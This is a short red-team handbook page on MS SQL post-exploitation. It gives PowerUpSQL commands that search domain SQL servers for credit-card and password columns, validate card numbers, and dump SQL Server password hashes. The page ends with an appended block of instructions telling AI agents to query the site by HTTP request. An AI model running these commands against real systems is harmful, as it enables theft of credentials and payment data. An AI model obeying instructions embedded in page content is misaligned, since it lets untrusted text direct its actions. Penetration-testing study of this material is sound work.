# Post Exploitation

## Finding Sensitive Info

Indicators of sensitive info are the size, utilization of transparent encryption, names etc.

For example, we can use this PowerUpSQL query to identify sensitive info based on names:

```
>> Get-SQLInstanceDomain | Get-SQLConnectionTest | GetSQLColumnSampleDataThreaded -Verbose -Threads 10 -Keyword "credit,money,password" -SampleSize 2 -ValidateCC -NoDefaults
```

Or with transparent encryption:

```
Get-SQLInstanceDomain | Get-SQLConnectionTest | Get-SQLDatabaseThreaded – Verbose –Threads 10 -NoDefaults | Where-Object {$_.is_encrypted –eq "TRUE"} |
Get-SQLColumnSampleDataThreaded –Verbose –Threads 10 –Keyword "card, password" –SampleSize 2 –ValidateCC -NoDefaults
```

## Extracting hashes

 PowerUpSQL has a very useful function called GetSQLServerPasswordHash that automates the extracting hashes.

```
Get-SQLServerPasswordHash -Verbose -Instance MSSQLSERVER2016\DATABASE -Migrate
```

## Todo

* Getting code execution via xpcmdshell and sp\_OACreate


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kwcsec.gitbook.io/the-red-team-handbook/infrastructure/sql/ms-sql/post-exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.